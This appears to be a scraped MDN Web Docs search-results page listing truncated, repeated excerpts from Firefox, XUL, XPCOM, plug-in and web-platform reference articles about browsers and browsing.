netwerk/base/public/nsiprivatebrowsingservice.idlscriptable provides access to information about the state of the private browsing service. 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21. the nsiprivatebrowsingservice interface provides access to information about the state of the private browsing feature offered in firefox 3.5 and later. when firefox is in private browsing mode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. in addition, temporary, databases are created to be u...
... about the state of the private browsing feature offered in firefox 3.5 and later. when firefox is in private browsing mode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. in addition, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. extensions that record potentially private information should use this interface to detect whether private browsing mode is enabled, and if it is, avoid saving that information. for details on how to do this, see the article supporting private browsing mode. simil...
...are re-activated. the temporary cookie and local storage databases start out empty. extensions that record potentially private information should use this interface to detect whether private browsing mode is enabled, and if it is, avoid saving that information. for details on how to do this, see the article supporting private browsing mode. similarly, plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable. implemented by: @mozilla.org/privatebrowsing;1. ...
...And 3 more matches
nsIWebBrowserFind
method overview boolean findnext(); attributes attribute type description entireword boolean whether to match entire words only. default is false. ...
...method overview boolean findnext(); attributes attribute type description entireword boolean whether to match entire words only. default is false. ...
...method overview boolean findnext(); attributes attribute type description entireword boolean whether to match entire words only. default is false. ...
...And 3 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
firefox initially implemented an early version of the scroll snap specification, called scroll snap points. in firefox 68 the new version of the specification will be shipped and these old properties removed. in this article, we consider questions that might arise related to compatibility across browsers and versions of browsers when adding support for scroll-snap to your web site or app. what should i do if i used the old firefox implementation? if you have only used the old firefox implementation of the specification, with the properties that are detailed in scroll snap points, you should update your code to use the new specification. this will ensure your scroll snapping works in all browsers which implement the specification, including firefox. if you do not do this your scroll snappin...
...implementation as a fallback? if you have already used the old implementation as a fallback, or feel you want to support users of old firefox (or -webkit prefixed safari), then you can continue to use the old specification as outlined in the example below. ...
...ve used the old specification alongside the current specification in order to make scroll snapping work in all browsers which support some form of scroll snapping. the example adds the scroll-snap-points-y and scroll-snap-destination properties, which are deprecated, to make scroll snapping work in firefox. we also added the scroll-snap-type property twice, once with the y axis value needed for browsers that support the new spec, and once for firefox pre-68, which supports the property but without the y value. do i need to use both specs? scroll snapping is one of those nice parts of css in which the fallback is that you don't get the enhanced functionality, but everything still works. i would suggest at this point you should implement the new specification only, unless you have data to s...
...And 3 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
summary: authors are used to having alt text appear as a &quot;tooltip&quot; above images, but that's not how it was meant to be used. learn how to define &quot;tooltips&quot; in a cross-browser, standards-friendly way. authors are used to using the alt attribute to create "tooltips" in web browsers. the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior. see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display image...
...oblem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets, this attribute specifies alternate text. the language of the alternate text is specified by the lang attribute. in other words, alt text should only be displayed when a user agent cannot display the primary content of the element (e.g., a text-mode browser that cannot display images). in a visual browser, the image should be displayed and the alt text should not. this assumes that the browser can find the image and that it supports the image format used; if either of these is not true, and the image cannot be displayed, then the alt text should be displayed in place of the missing image. on the other hand, the html 4.01 definition of the title a...
...formation about the element for which it is set. unlike the title element, which provides information about an entire document and may only appear once, the title attribute may annotate any number of elements. please consult an element's definition to verify that it supports this attribute... values of the title attribute may be rendered by user agents in a variety of ways. for instance, visual browsers frequently display the title as a "tool tip" (a short message that appears when the pointing device pauses over an object). between these two passages, it is fairly clear that the proper method for defining a "tooltip" for an image (or, indeed, for any element) is to use the title attribute. the solution the most obvious solution is to use the alt and title attributes for their intended pu...
...And 2 more matches
::-ms-browse - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
... ...
...And 2 more matches
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1. to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by...
...or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by then, but this is an issue if your code is executed during startup. if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring description, in astri...
...may be null if...
...And 2 more matches
Browser Side Plug-in API - Plugins
for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream. ...
...m the main thread; calling them from other threads is not supported and may have unpredictable results. netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvalueforurl provides information to a plug-in which is associated with a given url, for example the cookies or prefe...
...valueforurl provides information to a plug-in which is associated with a given url, for example the cookies or preferred proxy. npn_invalidaterect invalidates specified drawing area prior to repainting or refreshing a windowless plug-in. npn_invalidateregion invalidates specified drawing region prior to repainting or refreshing a windowless plug-in. ...
...And 2 more matches
browser.type - Archive of obsolete content
« xul reference home type type: one of the values below. the type of browser, which can be used to set access of the document loaded inside the browser. if this is not set, the loaded document has the same access as the window containing the browser. more precisely: the document loaded into a chrome window is always of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. ...
...ays of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is lo...
...chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. content-primary the primary browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. for instance, in a web browser, this would be the element that displays the web page. the window for the primary content can be retrieved more conveniently using window.content. content-targetable one b...
...er is not allowed to access the chrome above it. content-primary the primary browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. for instance, in a web browser, this would be the element that displays the web page. the window for the primary content can be retrieved more conveniently using window.content. content-targetable one browser among many for content. the content that is loaded inside the browser is not allowed to access the chrome above it. this is the preferred value for any browser element in an application, which will use multiple browsers of equal privileges, and is unselected at the moment. chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri. don't ...
JS_ThrowStopIteration
in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators. the .next method may throw stopiteration when there are no more values left to iterate. ...
... in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators. the .next method may throw stopiteration when there are no more values left to iterate. ...
... in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators. the .next method may throw stopiteration when there are no more values left to iterate. ...
...e javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators. the .next method may throw stopiteration when there are no more values left to iterate. the engine automatically catches the exception and exits the loop. jsclass.enumerate offers a simpler way to customize object iteration. see also mxr id search for js_throwstopiteration js_isstopiteration bug 390947 ...
nsIBrowserHistory
toolkit/components/places/public/nsibrowserhistory.idlscriptable a browser-specific interface to global history. it adds functions used by the basic browser like, marking pages as typed in the url bar, and removing pages as from the history interface. inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
...le a browser-specific interface to global history. it adds functions used by the basic browser like, marking pages as typed in the url bar, and removing pages as from the history interface. inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
...y. it adds functions used by the basic browser like, marking pages as typed in the url bar, and removing pages as from the history interface. inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
..., and removing pages as from the history interface. inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
nsIWebBrowserChrome
embedding/browser/webbrowser/nsiwebbrowserchrome.idlscriptable corresponds to the top-level, outermost window containing an embedded gecko web browser. inherits from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome. the implementation should reflect the value of this attribute by hiding or showing its chrome appropriately. ...
...us(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome. the implementation should reflect the value of this attribute by hiding or showing its chrome appropriately. webbrowser nsiwebbrowser the currently loaded webbrowser. the browser chrome may be told to set the webbrowser object to a new object by setting this attribute. in this case the implementer is responsible for taking the new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself. this includes positioning setting up listeners etc. constants ...
... affects the way the window looks and does not mean it's actually modal. chrome_openas_dialog 1073741824 represent special cases. chrome_openas_chrome 2147483648 represent special cases. chrome_all 4094 represent special cases. chrome_remote_window 1048576 whether this window should use remote (out-of-process) tabs. methods destroybrowserwindow() asks the implementer to destroy the window associated with this webbrowser object. void destroybrowserwindow(); parameters none. exitmodaleventloop() exit a modal event loop if we're in one. the implementation should also exit out of the loop if the window is destroyed. void exitmodaleventloop( in nsresult astatus ); parameters astatus the result code to return from showasm...
... statustype, in wstring status ); parameters statustype indicates what is setting the text. status status string. null is an acceptable value meaning no status. showasmodal() shows the window as a modal window. void showasmodal(); parameters none. return value note: the function error code returned by this corresponds to the status value specified in exitmodaleventloop. sizebrowserto() tells the chrome to size itself such that the browser will be the specified size. void sizebrowserto( in long acx, in long acy ); parameters acx new width of the browser. acy new height of the browser. ...
nsIWebBrowserFindInFrames
attributes attribute type description currentsearchframe nsidomwindow frame at which to start the search. once the search is done, this will be set to be the last frame searched, whether or not a result was found. has to be equal to or contained within the rootsearchframe. rootsearchframe nsidomwindow frame within which to confine the search (normally the content area frame). set this to only search a subtree of the frame hierarchy. ...
... the rootsearchframe. rootsearchframe nsidomwindow frame within which to confine the search (normally the content area frame). set this to only search a subtree of the frame hierarchy. ...
...the frame hierarchy. searchparentframes boolean whether to allow the search to propagate out of the currentsearchframe into its parent frame(s). search is always confined within the rootsearchframe. default is true. ...
... search to propagate out of the currentsearchframe into its parent frame(s). search is always confined within the rootsearchframe. default is true. setting nsiwebbrowserfind.searchframes to true sets this to true. ...
getBrowserAtIndex - Archive of obsolete content
...
... ...
... ...
getBrowserForDocument - Archive of obsolete content
...
... ...
... ...
getBrowserForTab - Archive of obsolete content
...
... ...
... ...
getTabForBrowser - Archive of obsolete content
...
... ...
... ...
selectedBrowser - Archive of obsolete content
...
... ...
... ...
webBrowserFind - Archive of obsolete content
...
... ...
... ...
XULBrowserWindow - Archive of obsolete content
method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden. ...
...pdate the user interface of the enclosing xul window. in order to do so it implements the following interfaces: nsisupports nsixulbrowserwindow nsiwebprogresslistener nsiwebprogresslistener2 nsisupportsweakreference note: this page is not complete at this time. see the linked interfaces for the definition of the implemented methods. you may also wish to refer to the implementation of xulbrowserwindow in browser/base/content/browser.js. method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden. defaults to about:addons but extensions can append specific urls to the array. methods hidechrome...
....js. method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden. defaults to about:addons but extensions can append specific urls to the array. methods hidechromeforlocation determines whether or not browser chrome should be hidden for the specified location. by default, chrome is hidden for about:addons and any other pages in the in content whitelist. you can augment the functionality of this method using chaining in order to hide chrome for other locations. see hiding browser chrome for details and an example. boolean hidechromeforlocation( in string alocation ); parameters alocation the...
Opening a Link in the Default Browser - Archive of obsolete content
this will often be an http or https uri, but can use any scheme for which an external handler exists. ...
...ternalprotocolservice); // now, open it! extps.loaduri(uritoopen, null); by default, the external protocol service will warn the user about opening the link in another application. to suppress this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser schemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists. this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getserv...
... ...
Browser - MDN Web Docs Glossary: Definitions of Web-related terms
a web browser or browser is a program that retrieves and displays pages from the web, and lets users access further pages through hyperlinks. a browser is the most familiar type of user agent. ...
... a web browser or browser is a program that retrieves and displays pages from the web, and lets users access further pages through hyperlinks. a browser is the most familiar type of user agent. ...
... a web browser or browser is a program that retrieves and displays pages from the web, and lets users access further pages through hyperlinks. a browser is the most familiar type of user agent. ...
Opera Browser - MDN Web Docs Glossary: Definitions of Web-related terms
opera is the fifth most used web browser, publicly released in 1996 and initially running on windows only. opera uses blink as its layout engine since 2013 (before that, presto). opera also exists in mobile and tablet versions. ...
... opera is the fifth most used web browser, publicly released in 1996 and initially running on windows only. opera uses blink as its layout engine since 2013 (before that, presto). opera also exists in mobile and tablet versions. ...
... opera is the fifth most used web browser, publicly released in 1996 and initially running on windows only. opera uses blink as its layout engine since 2013 (before that, presto). opera also exists in mobile and tablet versions. ...
mozbrowsererror
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsererror event is fired when an error occurs while trying to load content within a browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bu...
...found connectionfailure netinterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalpro...
...ment.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
browser.download.lastDir.savePerSite
browser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base. if set to true, the data is stored as content preference. type:boolean default value:true exists by default: no application support:firefox 11.0 status: active; last updated 2012-02-15 introduction: pushed to nightly on 2011-12-11 bugs: bug 702748 values true (default) the last used directory for the website (host) serving the file for download will be preselected in the file picker. if no download directory for the current website has been stored, browser.download.lastdir will be used. ...
...ast updated 2012-02-15 introduction: pushed to nightly on 2011-12-11 bugs: bug 702748 values true (default) the last used directory for the website (host) serving the file for download will be preselected in the file picker. ...
...lues true (default) the last used directory for the website (host) serving the file for download will be preselected in the file picker. if no download directory for the current website has been stored, browser.download.lastdir will be used. ...
HTMLTableElement.rows - Web APIs
the read-only htmltableelement property rows returns a live htmlcollection of all the rows in the table, including the rows contained within any <thead>, <tfoot>, and <tbody> elements. although the property itself is read-only, the returned object is live and allows the modification of its content. syntax htmlcollectionobject = table.rows; value an htmlcollection providing a live-updating list of the htmltablerowelement objects representing all of the <tr> elements contained in the table. this provides quick access to all of the table rows, without having to manually search for them. ...
...itself is read-only, the returned object is live and allows the modification of its content. syntax htmlcollectionobject = table.rows; value an htmlcollection providing a live-updating list of the htmltablerowelement objects representing all of the <tr> elements contained in the table. this provides quick access to all of the table rows, without having to manually search for them. example myrows = mytable.rows; firstrow = mytable.rows[0]; lastrow = mytable.rows.item(mytable.rows.length-1); this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain individual rows in the table. ...
...r them. example myrows = mytable.rows; firstrow = mytable.rows[0]; lastrow = mytable.rows.item(mytable.rows.length-1); this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain individual rows in the table. specifications specification status comment html living standardthe definition of 'htmltableelement: rows' in that specification. living standard ...
Accessibility: What users can do to browse more safely - Accessibility
10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com from thomas steiner's article "move ya! or maybe, don't, if the user prefers-reduced-motion!"). this will not work on animated gifs; the source of the animation is self-contained within a gif and is not affected by these settings. use reader mode on browsers enable content blockers; gets rid of ads, reduces and/or removes distractions enables text-to-speech in certain browsers, enable fonts by choice enable page zoom turn off animated gifs in the browser browsers offer much power to their users; it's just a matter of knowing where to go. using firefox as an example, it explains that by changing the value the image.animation_mode from "nor...
...rs, enable fonts by choice enable page zoom turn off animated gifs in the browser browsers offer much power to their users; it's just a matter of knowing where to go. using firefox as an example, it explains that by changing the value the image.animation_mode from "normal" to "none", all animated images will be blocked. to reverse it, you will have to change the value back to "normal" use browser extensions gif blocker for chrome, gif blocker is an extension available at the web store. gif scrubber gif scrubber is a chrome extension that allows you to control gifs like a video player. ...
...blocked. to reverse it, you will have to change the value back to "normal" use browser extensions gif blocker for chrome, gif blocker is an extension available at the web store. gif scrubber gif scrubber is a chrome extension that allows you to control gifs like a video player. there is a github repository for it at https://github.com/0ui/gif-scrubber beeline reader beeline reader has a browser extension that allows you to set up for grayscale and dyslexi font, among other things take advantage operating system accessibility features most operating systems such as windows 10, have accessibility options that are surprisingly powerful. usually they are quite easy to find by simply typing ( or saying) in the word, "accessibility" in the search finder of the operating system. turn o...
Writing Web Audio API code that works in every browser - Developer guides
you probably have already read the announcement on the web audio api coming to firefox, and are totally excited and ready to make your until-now-webkit-only sites work with firefox, which uses the unprefixed version of the spec. unfortunately, chrome, safari and opera still use the webkitaudiocontext prefixed name. furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: safari uses the old method names, firefox uses the new ones, and chrome and opera use both. in addition, not all features of web audio are already implemented in firefox yet. what do we do!? we don't want to maintain two or more separate code bases, and feature detection code is cumbersome! plus we want to wr...
...rite code that reliably works in the future, or at least, works with a minimum amount of changes. is there a way to satisfy all these constraints at the same time? probably! writing for today (and tomorrow) first, get a copy of audiocontext-monkeypatch by chris wilson. this little library will "normalise" the interfaces for you and make it look as if your code is running in a standards compliant browser, by aliasing prefixed names to the unprefixed versions. and it won't do anything if the unprefixed versions are already present. once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext = new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox. also, if new methods such as start are not de...
... that node, depending on the build you used. today the support is already present in nightly, but not quite yet in aurora. in the meantime, you can explicitly specify 'equalpower' instead: var panner = new audiocontext.pannernode(); panner.panningmodel = 'equalpower'; note that there's a list of projects built with the web audio api, specifying which ones use the standard audiocontext and which browsers do they work on. if you're a person that learns by example, it might be interesting to have a look at their source and see how they have resolved the compatibility issues. ...
Hiding browser chrome - Archive of obsolete content
there are times in which an extension may find it useful to hide browser chrome (that is, toolbars, the location bar, and so forth), in order to reduce clutter when presenting a particular user interface. this is done, for example, by the about:addons page. this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method. note: don't simply replace the hidechromeforlocation() method; this will likely hurt the functionality of firefox itself as well as other extensions. use the technique demonstrated here. ...
...ticular user interface. this is done, for example, by the about:addons page. this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method. note: don't simply replace the hidechromeforlocation() method; this will likely hurt the functionality of firefox itself as well as other extensions. use the technique demonstrated here. var prevfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || prevfunc.apply(xulbrowserwindow, [alocation]); } this works by saving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a new method that calls through to the previous implementation. by chaining multiple imple...
getNumberOfVisibleRows - Archive of obsolete content
...
... ...
Browser-side plug-in API - Archive of obsolete content
for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. ...
...for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. ...
Supporting private browsing in plugins - Archive of obsolete content
firefox 3.5 introduced private browsing, a mode in which potentially private information is not recorded in any way. it also introduced a mechanism by which plugins can determine whether or not private browsing mode is in effect. plugins should be updated to monitor the state of private browsing mode and only save private information when private browsing is disabled. potentially private information may include (but is not necessarily limited to) history information for downloaded data. for example, if private browsing mode is in effect, video player plugins should not record the urls of watched videos in their histories. ...
...dated to monitor the state of private browsing mode and only save private information when private browsing is disabled. potentially private information may include (but is not necessarily limited to) history information for downloaded data. for example, if private browsing mode is in effect, video player plugins should not record the urls of watched videos in their histories. detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable. ...
browser.dom.window.dump.file
browser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application restart. type:string default value:none exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the content of the window.dump() calls get written, e.g. c:\dump.txt . it will be created if it doesn't exist yet. the line breaks have to be in the argument of the dump function, else successive dump calls will get logged into the same line. ...
...2-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the content of the window.dump() calls get written, e.g. c:\dump.txt . it will be created if it doesn't exist yet. the line breaks have to be in the argument of the dump function, else successive dump calls will get logged into the same line. related browser.dom.window.dump.enabled ...
Browser security
these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. ...
... secure development guidelinesthe following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concern...
nsIWebBrowserChrome2
embedding/browser/webbrowser/nsiwebbrowserchrome2.idlscriptable an extension to nsiwebbrowserchrome. 1.0 66 introduced gecko 1.9 inherits from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method overview void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated. this method may be called instead of nsiwebbrowserchrome.setstatus(). an implementor of this method, should still implement nsiwebbrowserchrome.setstatus(). void setstatuswithcontext( in unsigned long statustype, in astring statustext, in nsisupports statuscontext ); parameters statustype indicates what is setting th...
... parameters statustype indicates what is setting the text. statustext status string. null is an acceptable value meaning no status. statuscontext an object that provides context pertaining to the status type. if statustype is status_link, then this may be a dom node corresponding to the source of the link. this value can be null if there is no context. see also nsiwebbrowserchrome ...
nsIWebBrowserChrome3
astring onbeforelinktraversal( in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab ); parameters originaltarget the original link target. linkuri link destination uri. linknode link dom node. ...
... in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab ); parameters originaltarget the original link target. linkuri link destination uri. linknode link dom node. isapptab whether or not the link is in an application tab. return value a new link target, if appropriate. otherwise returns originaltarget. see also nsiwebbrowserchrome2 ...
Flash Activation: Browser Comparison - Plugins
each of the major browsers has now implemented a feature where adobe flash content does not run by default, but each of the browsers has implemented this feature and the user interface in slightly different ways. this guide will help outline the similarities and differences between the browsers so web developers can provide the best user experience. in each browser, the decision to enable flash is made by users on a per-site basis. when a site attempts to use flash, the browser will prompt the user in some way and give the user an opportunity to enable flash for that site. flash-blocking extensions are no longer necessary because this functionality is now built into the browser. mozilla firefox google chrome microsoft edge setting name ask to activ...
...the firefox flash roadmap includes links to roadmaps and posts from other vendors. ui comparison mozilla firefox in-page ui is displayed when the site attempts to use flash. an icon also appears on the left side of the location bar. the user can click on the flash object or the location bar icon to activate f...
xml:base support in old browsers - Archive of obsolete content
these two functions aim to allow some support for xml:base. note however, that this code is not based on a thorough examination of the specs related to forming base uris and could well have a number of errors. however, it is working in some of the cases tested. ...
Safe Browsing - Archive of obsolete content
...
browserid - Archive of obsolete content
« xul reference home browserid type: string the id of the browser element to which the findbar is attached. this attribute is only used when the findbar is constructed. you should use the browser property to get and set this value from a script. ...
maxrows - Archive of obsolete content
« xul reference home maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. ...
rows - Archive of obsolete content
Archive › Mozilla › XUL › Attribute › rows
« xul reference home rows type: integer the number of rows to display in the element. if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows. to get the actual number of rows in the element, use the getrowcount method. ...
getBrowserIndexForDocument - Archive of obsolete content
« xul reference home getbrowserindexfordocument( document ) return type: integer returns the index of the browser for the specified document in the tabbrowser the method was invoked on. the returned index is dependent on the tabs in the tabbrowser and is invalidated when the tab ordering changes. it should not be used to track per-tab data during a session; the use of linkedpanel on the corresponding tab is preferred instead. ...
browser - Archive of obsolete content
« xul reference browser type: browser element lets you set and get the browser in which the findbar is located. ...
browsers - Archive of obsolete content
« xul reference browsers type: nodelist of browser elements holds a list of the browser elements inside the tabbrowser. ...
maxRows - Archive of obsolete content
« xul reference maxrows type: integer gets and sets the value of the maxrows attribute. ...
tabbrowser.tabs - Archive of obsolete content
this is a shortcut for looking at the tabs in the tabcontainer. ...
rows - Archive of obsolete content
Archive › Mozilla › XUL › rows
« xul reference home [ examples | attributes | properties | methods | related ] defines the rows of a grid. child row elements define the individual rows to appear in the grid. each child of a rows element should be a row element. the rows element may be nested inside another rows element. the children of these nested rows are counted as normal rows as if they were part of the parent. however, nesting rows elements allows groups of rows to have a separate appearance such as a different border, or separate scrolling may be defined for these rows. non-row related elements placed inside a rows element occupy the full width of the grid and are placed in their corresponding positions between the rows. more information is available in the xul tutorial. example see grid for ...
Browsing context - MDN Web Docs Glossary: Definitions of Web-related terms
a browsing context is the environment a browser displays a document. in modern browsers, it usually is a tab, but can be a window or even only parts of a page, like a frame or an iframe. each browsing context has a specific origin, the origin of the active document and a history that memorize all the displayed documents, in order. communication between browsing context is severaly constrained. between browsing context of the same origin, a broadcastchannel can be opened and used. learn more see origin ...
browser.altClickSave
type:boolean default value: false exists by default: yes application support:firefox 13.0 status: active; last updated 2012-03-19 introduction: pushed to nightly on 2012-03-02 bugs: bug 713052 values true clicking a link while holding the alt key starts the download of that link. false (default) no action triggered (see bug 736985). ...
browser.dom.window.dump.enabled
this setting enables the dump function, which sends messages to the system console. set it to true to enable it, or false to disable it. related browser.dom.window.dump.file window.dump ...
browser.pagethumbnails.capturing_disabled
type:boolean default value:true exists by default: no application support: firefox 14.0 status: active; last updated 2012-09-17 introduction: pushed to nightly on 2012-04-13 bugs: bug 726347 values false the application creates screenshots of visited web pages. true (default) the application doesn't create screenshots of visited web pages. ...
browser.search.context.loadInBackground
type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the background, focus stays on the current tab. false (default) new tab with search results will be opened in the foreground. ...
browser.urlbar.formatting.enabled
